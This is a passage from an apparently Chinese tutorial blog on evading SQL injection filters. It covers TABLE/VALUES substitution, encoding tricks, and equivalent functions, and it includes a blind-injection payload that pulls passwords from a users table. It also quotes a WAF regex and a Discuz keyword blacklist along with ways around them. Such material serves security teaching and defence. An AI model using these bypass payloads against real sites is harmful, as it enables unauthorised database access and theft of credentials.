  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>如 <code>select * from user</code> 就可以用 <code>table user</code> 替代来进行绕过</p>
<h4 id="values-语句">&gt;VALUES 语句<a class="anchor" href="#values-语句">#</a></h4>
<p>可以列出一行的值</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">VALUES</span><span class="w"> </span><span class="n">row_constructor_list</span><span class="w"> </span><span class="p">[</span><span class="k">ORDER</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="n">column_designator</span><span class="p">]</span><span class="w"> </span><span class="p">[</span><span class="k">LIMIT</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="nb">number</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">row_constructor_list</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="w"> </span><span class="k">ROW</span><span class="p">(</span><span class="n">value_list</span><span class="p">)[,</span><span class="w"> </span><span class="k">ROW</span><span class="p">(</span><span class="n">value_list</span><span class="p">)][,</span><span class="w"> </span><span class="p">...]</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">value_list</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="w"> </span><span class="n">value</span><span class="p">[,</span><span class="w"> </span><span class="n">value</span><span class="p">][,</span><span class="w"> </span><span class="p">...]</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">column_designator</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="w"> </span><span class="n">column_index</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>例如直接列出一行的值</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">VALUES</span><span class="w"> </span><span class="k">ROW</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">),</span><span class="w"> </span><span class="k">ROW</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<blockquote>
<p>VALUES和TABLES语句的结果都是表数据，可以结合起来使用</p>
</blockquote>
<h2 id="使用编码绕过过滤">使用<strong>编码</strong>绕过过滤<a class="anchor" href="#使用编码绕过过滤">#</a></h2>
<p>如<code>URLEncode</code>编码，<code>ASCII</code>,<code>HEX</code>,<code>unicode</code>编码绕过</p>
<p><code>or 1=1</code>即<code>%6f%72%20%31%3d%31</code>，而<code>Test</code>也可以为<code>CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)</code></p>
<h2 id="使用等价函数绕过过滤">使用<strong>等价函数</strong>绕过过滤<a class="anchor" href="#使用等价函数绕过过滤">#</a></h2>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">hex</span><span class="p">()</span><span class="err">、</span><span class="n">bin</span><span class="p">()</span><span class="w"> </span><span class="o">==&gt;</span><span class="w"> </span><span class="n">ascii</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">sleep</span><span class="p">()</span><span class="w"> </span><span class="o">==&gt;</span><span class="n">benchmark</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">concat_ws</span><span class="p">()</span><span class="o">==&gt;</span><span class="n">group_concat</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">mid</span><span class="p">()</span><span class="err">、</span><span class="n">substr</span><span class="p">()</span><span class="w"> </span><span class="o">==&gt;</span><span class="w"> </span><span class="k">substring</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">@@</span><span class="k">user</span><span class="w"> </span><span class="o">==&gt;</span><span class="w"> </span><span class="k">user</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="o">@@</span><span class="n">datadir</span><span class="w"> </span><span class="o">==&gt;</span><span class="w"> </span><span class="n">datadir</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="err">举例：</span><span class="k">substring</span><span class="p">()</span><span class="err">和</span><span class="n">substr</span><span class="p">()</span><span class="err">无法使用时：</span><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="o">+</span><span class="k">and</span><span class="o">+</span><span class="n">ascii</span><span class="p">(</span><span class="k">lower</span><span class="p">(</span><span class="n">mid</span><span class="p">((</span><span class="k">select</span><span class="o">+</span><span class="n">pwd</span><span class="o">+</span><span class="k">from</span><span class="o">+</span><span class="n">users</span><span class="o">+</span><span class="k">limit</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)))</span><span class="o">=</span><span class="mi">74</span><span class="w">　
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="err">或者：</span><span class="w">
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">substr</span><span class="p">((</span><span class="k">select</span><span class="w"> </span><span class="s1">&#39;password&#39;</span><span class="p">),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="n">x70</span><span class="w">
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">strcmp</span><span class="p">(</span><span class="k">left</span><span class="p">(</span><span class="s1">&#39;password&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="n">x69</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="w">
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="n">strcmp</span><span class="p">(</span><span class="k">left</span><span class="p">(</span><span class="s1">&#39;password&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="n">x70</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="w">
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="n">strcmp</span><span class="p">(</span><span class="k">left</span><span class="p">(</span><span class="s1">&#39;password&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="n">x71</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="mi">1</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h2 id="补充进行过滤的几种思路">补充：进行过滤的几种思路<a class="anchor" href="#补充进行过滤的几种思路">#</a></h2>
<h3 id="黑名单字符替换">黑名单字符替换<a class="anchor" href="#黑名单字符替换">#</a></h3>
<p>这种是最简单的，针对某些黑名单关键字，直接进行 str_replace</p>
<p>如果替换的不完全，可以用 <code>selselectect</code> 来替换 <code>select</code> 绕过</p>
<h3 id="正则匹配">正则匹配<a class="anchor" href="#正则匹配">#</a></h3>
<p>在一些waf或者cms会见到类似如下的防护代码</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="err">$</span><span class="n">filter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&#34;\\&lt;.+javascript:window\\[.{1}\\\\x|&lt;.*=(&amp;#\\d+?;?)+?&gt;|&lt;.*(data|src)=data:text\\/html.*&gt;|\\b(alert\\(|confi
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="s2">rm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|&lt;[a-z]+?\\b[^&gt;]*?\\bon([a-z]{4,})
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="s2">\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)&#39;\&#34;</span><span class="err">\\</span><span class="n">d</span><span class="p">]</span><span class="o">+?=</span><span class="p">[</span><span class="err">\\</span><span class="p">(</span><span class="err">\\</span><span class="p">)</span><span class="s1">&#39;\&#34;\\d]+?|[\\(\\)&#39;</span><span class="err">\</span><span class="s2">&#34;a-zA-Z]+?=[\\(\\)&#39;\&#34;</span><span class="n">a</span><span class="o">-</span><span class="n">zA</span><span class="o">-</span><span class="n">Z</span><span class="p">]</span><span class="o">+?|&gt;|&lt;</span><span class="w">
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="o">|</span><span class="err">\</span><span class="n">s</span><span class="o">+?</span><span class="p">[</span><span class="err">\\</span><span class="n">w</span><span class="p">]</span><span class="o">+?</span><span class="err">\\</span><span class="n">s</span><span class="o">+?</span><span class="err">\\</span><span class="n">bin</span><span class="err">\\</span><span class="n">b</span><span class="err">\\</span><span class="n">s</span><span class="o">*?</span><span class="err">\</span><span class="p">(</span><span class="o">|</span><span class="err">\\</span><span class="n">blike</span><span class="err">\\</span><span class="n">b</span><span class="err">\\</span><span class="n">s</span><span class="o">+?</span><span class="p">[</span><span class="err">\</span><span class="s2">&#34;&#39;])|\\/\\*.*\\*\\/|&lt;\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\(|@{1
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="s2">,2}\w+?\s*|\s+?.+?|.*(`|&#39;|\&#34;</span><span class="p">).</span><span class="o">+</span><span class="p">(</span><span class="o">`|</span><span class="s1">&#39;|\&#34;)\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|&#39;</span><span class="o">|</span><span class="err">\</span><span class="s2">&#34;).*?(`|&#39;|\&#34;</span><span class="p">)</span><span class="err">\</span><span class="n">s</span><span class="o">*</span><span class="p">)</span><span class="k">SET</span><span class="o">|</span><span class="n">INSER</span><span class="w">
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">T</span><span class="err">\\</span><span class="n">s</span><span class="o">+</span><span class="k">INTO</span><span class="p">.</span><span class="o">+?</span><span class="k">VALUES</span><span class="o">|</span><span class="p">(</span><span class="k">SELECT</span><span class="o">|</span><span class="k">DELETE</span><span class="p">).</span><span class="o">+?</span><span class="k">FROM</span><span class="err">\</span><span class="n">s</span><span class="o">+?|</span><span class="p">(</span><span class="k">CREATE</span><span class="o">|</span><span class="k">ALTER</span><span class="o">|</span><span class="k">DROP</span><span class="o">|</span><span class="k">TRUNCATE</span><span class="p">)</span><span class="err">\\</span><span class="n">s</span><span class="o">+</span><span class="p">(</span><span class="k">TABLE</span><span class="o">|</span><span class="k">DATABASE</span><span class="p">)</span><span class="o">|</span><span class="k">FROM</span><span class="err">\</span><span class="n">s</span><span class="p">.</span><span class="o">?|</span><span class="err">\</span><span class="p">(</span><span class="k">select</span><span class="o">|</span><span class="err">\</span><span class="p">(</span><span class="err">\</span><span class="n">s</span><span class="w">
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="k">select</span><span class="o">|</span><span class="err">\</span><span class="n">bunion</span><span class="err">\</span><span class="n">b</span><span class="o">|</span><span class="k">select</span><span class="err">\</span><span class="n">s</span><span class="p">.</span><span class="o">+?</span><span class="s2">&#34;;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里面匹配了各种模式的注入语句，但是还是可以绕过的</p>
<p>比如说 <code>INSERT\\s+INTO.+?VALUES</code> 可以使用 <code>insert into xxx select</code> 的方式进行绕过</p>
<p>在经过不断的更新换代升级之后，产生了一些非常经典的正则，主要考虑到注入获取数据的时候需要联合查询或者子查询来完成</p>
<p>例如discuz的防护代码 <code>_do_query_safe</code></p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="err">$</span><span class="n">_config</span><span class="p">[</span><span class="s1">&#39;security&#39;</span><span class="p">][</span><span class="s1">&#39;querysafe&#39;</span><span class="p">][</span><span class="s1">&#39;dfunction&#39;</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">array</span><span class="p">(</span><span class="s1">&#39;load_file&#39;</span><span class="p">,</span><span class="s1">&#39;hex&#39;</span><span class="p">,</span><span class="s1">&#39;substring&#39;</span><span class="p">,</span><span class="s1">&#39;if&#39;</span><span class="p">,</span><span class="s1">&#39;ord&#39;</span><span class="p">,</span><span class="s1">&#39;char&#39;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="err">$</span><span class="n">_config</span><span class="p">[</span><span class="s1">&#39;security&#39;</span><span class="p">][</span><span class="s1">&#39;querysafe&#39;</span><span class="p">][</span><span class="s1">&#39;daction&#39;</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">array</span><span class="p">(</span><span class="s1">&#39;@&#39;</span><span class="p">,</span><span class="s1">&#39;intooutfile&#39;</span><span class="p">,</span><span class="s1">&#39;intodumpfile&#39;</span><span class="p">,</span><span class="s1">&#39;unionselect&#39;</span><span class="p">,</span><span class="s1">&#39;(select&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;un
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="s1">ionall&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;uniondistinct&#39;</span><span class="p">);</span><span class="w">
